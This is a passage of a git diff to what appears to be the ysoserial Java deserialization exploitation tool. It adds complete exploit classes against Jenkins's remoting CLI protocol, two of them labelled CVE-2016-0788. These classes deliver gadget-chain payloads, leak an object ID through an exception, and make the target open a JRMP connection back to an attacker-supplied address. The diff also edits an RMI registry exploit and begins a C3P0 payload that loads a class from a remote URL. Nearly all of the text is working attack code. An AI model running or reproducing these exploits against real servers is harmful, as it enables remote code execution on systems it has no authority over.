+ Utils.releasePayload(args[1], payloadObject);
+
+ }
+
+
+
+}
diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java
new file mode 100644
index 0000000..cdbd4a4
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java
@@ -0,0 +1,124 @@
+package ysoserial.exploit;
+
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.HttpURLConnection;
+import java.net.InetSocketAddress;
+import java.net.MalformedURLException;
+import java.net.Socket;
+import java.net.SocketException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadFactory;
+
+import javax.net.SocketFactory;
+
+import hudson.remoting.Callable;
+import hudson.remoting.Channel;
+import hudson.remoting.Channel.Mode;
+import hudson.remoting.ChannelBuilder;
+import ysoserial.payloads.ObjectPayload.Utils;
+
+/**
+ * Jenkins CLI client
+ *
+ * Jenkins unfortunately is still using a custom serialization based
+ * protocol for remote communications only protected by a blacklisting
+ * application level filter.
+ *
+ * This is a generic client delivering a gadget chain payload via that protocol.
+ *
+ * @author mbechler
+ *
+ */
+public class JenkinsCLI {
+ public static final void main ( final String[] args ) {
+ if ( args.length < 3 ) {
+ System.err.println(JenkinsCLI.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
+
+ String jenkinsUrl = args[ 0 ];
+ Channel c = null;
+ try {
+ InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
+ c = JenkinsCLI.openChannel(isa);
+ c.call(getPropertyCallable(payloadObject));
+ }
+ catch ( Throwable e ) {
+ e.printStackTrace();
+ }
+ finally {
+ if ( c != null ) {
+ try {
+ c.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+ }
+ Utils.releasePayload(args[1], payloadObject);
+ }
+
+ public static Callable, ?> getPropertyCallable ( final Object prop )
+ throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
+ Class> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
+ Constructor> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
+ reqCons.setAccessible(true);
+ Object getJarLoader = reqCons
+ .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
+ prop
+ });
+ return (Callable, ?>) getJarLoader;
+ }
+
+ public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
+ URL u = new URL(jenkinsUrl);
+
+ URLConnection conn = u.openConnection();
+ if ( ! ( conn instanceof HttpURLConnection ) ) {
+ System.err.println("Not a HTTP URL");
+ throw new MalformedURLException();
+ }
+
+ HttpURLConnection hc = (HttpURLConnection) conn;
+ if ( hc.getResponseCode() >= 400 ) {
+ System.err.println("* Error connection to jenkins HTTP " + u);
+ }
+ int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
+
+ return new InetSocketAddress(u.getHost(), clip);
+ }
+
+ public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException {
+ System.err.println("* Opening socket " + isa);
+ Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
+ s.setKeepAlive(true);
+ s.setTcpNoDelay(true);
+
+ System.err.println("* Opening channel");
+ OutputStream outputStream = s.getOutputStream();
+ DataOutputStream dos = new DataOutputStream(outputStream);
+ dos.writeUTF("Protocol:CLI-connect");
+ ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
+
+ public Thread newThread ( Runnable r ) {
+ Thread t = new Thread(r, "Channel");
+ t.setDaemon(true);
+ return t;
+ }
+ });
+ Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
+ System.err.println("* Channel open");
+ return c;
+ }
+}
diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java
new file mode 100644
index 0000000..64c2adb
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JenkinsListener.java
@@ -0,0 +1,215 @@
+package ysoserial.exploit;
+
+
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.rmi.activation.ActivationDesc;
+import java.rmi.activation.ActivationID;
+import java.rmi.activation.ActivationInstantiator;
+
+import javax.net.SocketFactory;
+
+import hudson.remoting.Callable;
+import hudson.remoting.Channel;
+import hudson.remoting.JarLoader;
+import sun.rmi.server.Util;
+import sun.rmi.transport.TransportConstants;
+import ysoserial.payloads.JRMPListener;
+import ysoserial.payloads.ObjectPayload;
+import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
+
+
+/**
+ * CVE-2016-0788 exploit (1)
+ *
+ * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
+ * 2. that payload causes the remote server to open up an JRMP listener (and export an object).
+ * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
+ *
+ * Extra twist:
+ * The well-known objects exported by the listener use the system classloader which usually
+ * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
+ * (which is using jenkins' classloader) that typically is properly randomized.
+ * Fortunately - for the exploiting party - there is also a gadget that allows to leak
+ * that identifier via an exception.
+ *
+ * @author mbechler
+ */
+@SuppressWarnings ( {
+ "rawtypes", "restriction"
+} )
+public class JenkinsListener {
+
+ public static final void main ( final String[] args ) {
+
+ if ( args.length < 3 ) {
+ System.err.println(JenkinsListener.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ final Class extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
+ if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
+ System.err.println("Invalid payload type '" + args[ 1 ] + "'");
+ System.exit(-1);
+ }
+
+ String jenkinsUrl = args[ 0 ];
+ int jrmpPort = 12345;
+
+ Channel c = null;
+ try {
+ InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
+ c = JenkinsCLI.openChannel(isa);
+
+ Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
+ InvocationHandler remote = Proxy.getInvocationHandler(call);
+ int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
+
+ System.err.println("* JarLoader oid is " + oid);
+
+ Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
+
+ Class> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
+
+ Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
+
+ try {
+ c.call((Callable, ?>) o);
+ }
+ catch ( Exception e ) {
+ // [ActivationGroupImpl[UnicastServerRef [liveRef:
+ // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
+ // -9046794842107247609]]
+
+ System.err.println(e.getMessage());
+
+ parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
+ }
+
+ }
+ catch ( Throwable e ) {
+ e.printStackTrace();
+ }
+ finally {
+ if ( c != null ) {
+ try {
+ c.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+ }
+
+ }
+
+
+ private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class> reqClass )
+ throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
+ Constructor> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
+ reqCons.setAccessible(true);
+ return reqCons
+ .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
+ uro,
+ });
+ }
+
+
+ private static void parseObjIdAndExploit ( final String[] args, final Class extends ObjectPayload> payloadClass, int jrmpPort,
+ InetSocketAddress isa, Exception e ) throws Exception, IOException {
+ String msg = e.getMessage();
+ int start = msg.indexOf("objID:[");
+ if ( start < 0 ) {
+ throw new Exception("Failed to get object id");
+ }
+
+ int sep = msg.indexOf(", ", start + 1);
+
+ if ( sep < 0 ) {
+ throw new Exception("Failed to get object id, separator");
+ }
+
+ int end = msg.indexOf("]", sep + 1);
+
+ if ( end < 0 ) {
+ throw new Exception("Failed to get object id, separator");
+ }
+
+ String uid = msg.substring(start + 7, sep);
+ String objNum = msg.substring(sep + 2, end);
+
+ System.err.println("* UID is " + uid);
+ System.err.println("* ObjNum is " + objNum);
+
+ String[] parts = uid.split(":");
+
+ long obj = Long.parseLong(objNum);
+ int o1 = Integer.parseInt(parts[ 0 ], 16);
+ long o2 = Long.parseLong(parts[ 1 ], 16);
+ short o3 = Short.parseShort(parts[ 2 ], 16);
+
+ exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);
+ }
+
+
+ private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class> payloadClass, String payloadArg )
+ throws IOException {
+ Socket s = null;
+ DataOutputStream dos = null;
+ try {
+ System.err.println("* Opening JRMP socket " + isa);
+ s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
+ s.setKeepAlive(true);
+ s.setTcpNoDelay(true);
+
+ OutputStream os = s.getOutputStream();
+ dos = new DataOutputStream(os);
+
+ dos.writeInt(TransportConstants.Magic);
+ dos.writeShort(TransportConstants.Version);
+ dos.writeByte(TransportConstants.SingleOpProtocol);
+
+ dos.write(TransportConstants.Call);
+
+ @SuppressWarnings ( "resource" )
+ final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
+
+ objOut.writeLong(obj);
+ objOut.writeInt(o1);
+ objOut.writeLong(o2);
+ objOut.writeShort(o3);
+
+ objOut.writeInt(-1);
+ objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
+
+ final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
+ final Object object = payload.getObject(payloadArg);
+ objOut.writeObject(object);
+ os.flush();
+ ObjectPayload.Utils.releasePayload(payload, object);
+ }
+ catch ( Exception e ) {
+ e.printStackTrace(System.err);
+ }
+ finally {
+ if ( dos != null ) {
+ dos.close();
+ }
+ if ( s != null ) {
+ s.close();
+ }
+ }
+ }
+
+
+}
diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java
new file mode 100644
index 0000000..ba4d3fe
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java
@@ -0,0 +1,80 @@
+package ysoserial.exploit;
+
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.rmi.registry.Registry;
+import java.util.Random;
+
+import hudson.remoting.Channel;
+import ysoserial.exploit.JRMPListener;
+import ysoserial.payloads.JRMPClient;
+import ysoserial.payloads.ObjectPayload.Utils;
+
+
+/**
+ * CVE-2016-0788 exploit (2)
+ *
+ * - Sets up a local {@link JRMPListener}
+ * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
+ * that will cause the remote to open a JRMP connection to our listener
+ * - upon connection the specified payload will be delivered to the remote
+ * (that will deserialize using a default ObjectInputStream)
+ *
+ * @author mbechler
+ *
+ */
+public class JenkinsReverse {
+
+ public static final void main ( final String[] args ) {
+ if ( args.length < 4 ) {
+ System.err.println(JenkinsListener.class.getName() + " ");
+ System.exit(-1);
+ }
+
+
+ final Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
+ String myAddr = args[ 1 ];
+ int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
+ String jenkinsUrl = args[ 0 ];
+
+ Thread t = null;
+ Channel c = null;
+ try {
+ InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
+ c = JenkinsCLI.openChannel(isa);
+ JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
+ t = new Thread(listener, "ReverseDGC");
+ t.setDaemon(true);
+ t.start();
+ Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
+ c.call(JenkinsCLI.getPropertyCallable(payload));
+ listener.waitFor(1000);
+ listener.close();
+ }
+ catch ( Throwable e ) {
+ e.printStackTrace();
+ }
+ finally {
+ if ( c != null ) {
+ try {
+ c.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ if ( t != null ) {
+ t.interrupt();
+ try {
+ t.join();
+ }
+ catch ( InterruptedException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+ }
+ Utils.releasePayload(args[2], payloadObject);
+ }
+}
diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
index 7286a00..e4eff65 100644
--- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
+++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
@@ -3,11 +3,11 @@ package ysoserial.exploit;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
-import java.util.Arrays;
import java.util.concurrent.Callable;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
+import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;
@@ -18,6 +18,7 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/
+@SuppressWarnings({"rawtypes", "unchecked"})
public class RMIRegistryExploit {
public static void main(final String[] args) throws Exception {
final String host = args[0];
@@ -35,7 +36,8 @@ public class RMIRegistryExploit {
final Class extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception {
- Object payload = payloadClass.newInstance().getObject(command);
+ ObjectPayload payloadObj = payloadClass.newInstance();
+ Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
@@ -43,7 +45,7 @@ public class RMIRegistryExploit {
} catch (Throwable e) {
e.printStackTrace();
}
-
+ Utils.releasePayload(payloadObj, payload);
return null;
}});
}
diff --git a/src/main/java/ysoserial/payloads/BeanShell1.java b/src/main/java/ysoserial/payloads/BeanShell1.java
index 04b61e1..80ab9d9 100644
--- a/src/main/java/ysoserial/payloads/BeanShell1.java
+++ b/src/main/java/ysoserial/payloads/BeanShell1.java
@@ -3,8 +3,6 @@ package ysoserial.payloads;
import bsh.Interpreter;
import bsh.XThis;
-import java.io.*;
-import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
@@ -17,7 +15,7 @@ import ysoserial.payloads.util.PayloadRunner;
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
-@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
public class BeanShell1 extends PayloadRunner implements ObjectPayload {
diff --git a/src/main/java/ysoserial/payloads/C3P0.java b/src/main/java/ysoserial/payloads/C3P0.java
new file mode 100644
index 0000000..75876a2
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/C3P0.java
@@ -0,0 +1,90 @@
+package ysoserial.payloads;
+
+
+import java.io.PrintWriter;
+import java.sql.SQLException;
+import java.sql.SQLFeatureNotSupportedException;
+import java.util.logging.Logger;
+
+import javax.naming.NamingException;
+import javax.naming.Reference;
+import javax.naming.Referenceable;
+import javax.sql.ConnectionPoolDataSource;
+import javax.sql.PooledConnection;
+
+import com.mchange.v2.c3p0.PoolBackedDataSource;
+import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
+
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+
+/**
+ *
+ *
+ * com.sun.jndi.rmi.registry.RegistryContext->lookup
+ * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
+ * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
+ *
+ * Arguments:
+ * - base_url:classname
+ *
+ * Yields:
+ * - Instantiation of remotely loaded class
+ *
+ * @author mbechler
+ *
+ */
+@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
+@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
+public class C3P0 implements ObjectPayload